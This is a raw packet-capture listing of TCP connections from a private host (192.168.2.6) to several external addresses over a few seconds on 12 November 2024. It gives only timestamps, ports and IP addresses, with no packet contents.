Nov 12, 2024 10:37:16.334445000 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.334777117 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.334794044 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.335163116 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.335169077 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.384692907 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.384879112 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.384937048 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.384990931 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.385005951 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.385015965 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.385025024 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.387962103 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.388003111 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.388076067 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.388199091 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.388214111 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.434401035 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.434695959 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.434747934 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.434875011 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.434892893 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.434902906 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.434909105 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.437120914 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.437448978 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.437498093 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.438534975 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.438546896 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.438558102 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.438561916 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.441124916 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.441169977 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.441224098 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.441549063 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.441561937 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.442250967 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.442276001 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.442327976 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.442589045 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.442600012 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.464344025 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.464406967 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.464449883 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.468616962 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.468637943 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.468647003 CET	49759	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.468653917 CET	443	49759	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.480248928 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.480285883 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.480336905 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.481981993 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.481995106 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.493732929 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.493793011 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.497467995 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.497476101 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.497725010 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.540975094 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.567508936 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.569401026 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.569446087 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.576056957 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.576056957 CET	49757	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.576070070 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.576078892 CET	443	49757	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.587620020 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.587663889 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.587714911 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.590178967 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:16.590204954 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:16.661547899 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.703335047 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.722727060 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:16.722768068 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:16.722822905 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:16.723958015 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:16.723979950 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:16.865947962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:16.866169930 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:16.870829105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:16.870979071 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:16.871047974 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:16.871164083 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:16.875963926 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:16.907932043 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.908010960 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.908056974 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.908364058 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.908364058 CET	49761	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.908379078 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.908389091 CET	443	49761	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.953527927 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.953572989 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:16.953634024 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.953970909 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:16.953986883 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:17.116472960 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.117207050 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.117218971 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.119760036 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.119765997 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.210748911 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.211339951 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.211369991 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.212022066 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.213052988 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.213062048 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.214457035 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.214483023 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.215109110 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.215115070 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.244096041 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.244163036 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.244708061 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.244905949 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.244920015 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.244946003 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.244951963 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.247714043 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.247762918 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.247972965 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.247972965 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.248007059 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.251277924 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.251743078 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.251775026 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.252202988 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.252212048 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.337280989 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.338143110 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.338170052 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.338767052 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.338813066 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.338819027 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.338829994 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.339176893 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.339176893 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.339334011 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.339345932 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.344814062 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.344854116 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.344944954 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.345284939 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.345299006 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.347269058 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.347470999 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.347615957 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.347671986 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.347671986 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.347681999 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.347690105 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.351993084 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.352035046 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.352324009 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.352540016 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.352560043 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.379511118 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.379570961 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.379692078 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.379857063 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.379857063 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.379872084 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.379880905 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.385535002 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.385570049 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.385833025 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.386173964 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.386193037 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.470653057 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.470897913 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.471074104 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.473717928 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.473732948 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.473790884 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.473797083 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.479156017 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.479195118 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.479484081 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.481091022 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:17.481106997 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:17.944782019 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:17.944948912 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:17.953257084 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:17.954935074 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:17.962800980 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:17.962824106 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:17.963157892 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:17.963393927 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:17.963408947 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:17.963699102 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:17.967750072 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:18.011734962 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.015326023 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:18.023611069 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.071331024 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.073730946 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.074398994 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.074430943 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.075098991 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.075107098 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.086270094 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.086932898 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.086960077 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.088371992 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.088376999 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.088654041 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.089119911 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.089135885 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.089709044 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.089715958 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.127418041 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.127855062 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.127865076 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.128292084 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.128295898 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.200750113 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.201670885 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.201689959 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.202327967 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.202332973 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.202675104 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.202734947 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.202785015 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.203001976 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.203027010 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.203046083 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.203052998 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.207871914 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.207907915 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.207982063 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.208926916 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.208940983 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.211879015 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:18.211937904 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:18.211981058 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:18.213705063 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:18.213705063 CET	49773	443	192.168.2.6	184.28.90.27
Nov 12, 2024 10:37:18.213723898 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:18.213732004 CET	443	49773	184.28.90.27	192.168.2.6
Nov 12, 2024 10:37:18.217452049 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.217511892 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.217597961 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.217691898 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.217710972 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.217716932 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.217721939 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.220985889 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.221195936 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.221247911 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.222026110 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.222026110 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.222033024 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.222040892 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.232222080 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.232248068 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.232314110 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.232759953 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.232769966 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.233508110 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.233531952 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.233599901 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.233750105 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.233762026 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.257010937 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.257154942 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.257209063 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.257251024 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.257256985 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.257266045 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.257270098 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.259960890 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.259996891 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.260059118 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.260344982 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.260358095 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.316826105 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:18.316899061 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:18.327236891 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.327414036 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.327488899 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.327488899 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.327522993 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.327538013 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.344433069 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.344470978 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.344561100 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.364157915 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.364176989 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.401133060 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401154995 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401163101 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401175976 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401210070 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401237011 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.401247978 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401257992 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.401257992 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.401288986 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.401607037 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.401669025 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.401675940 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.437319994 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.437335014 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.437344074 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.437455893 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.437488079 CET	443	49768	4.175.87.197	192.168.2.6
Nov 12, 2024 10:37:18.437540054 CET	49768	443	192.168.2.6	4.175.87.197
Nov 12, 2024 10:37:18.475003958 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:18.479980946 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:18.579019070 CET	49752	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:18.944276094 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.944794893 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.944818020 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.945282936 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.945288897 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.962685108 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.963186979 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.963212013 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.963625908 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.963632107 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.979558945 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.979979038 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.980005980 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:18.980906963 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:18.980911970 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.028934002 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.029476881 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.029503107 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.029980898 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.029984951 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.073303938 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.073438883 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.073581934 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.073657036 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.073657036 CET	49781	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.073683977 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.073693037 CET	443	49781	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.076343060 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.076375008 CET	443	49786	13.107.246.45	192.168.2.6
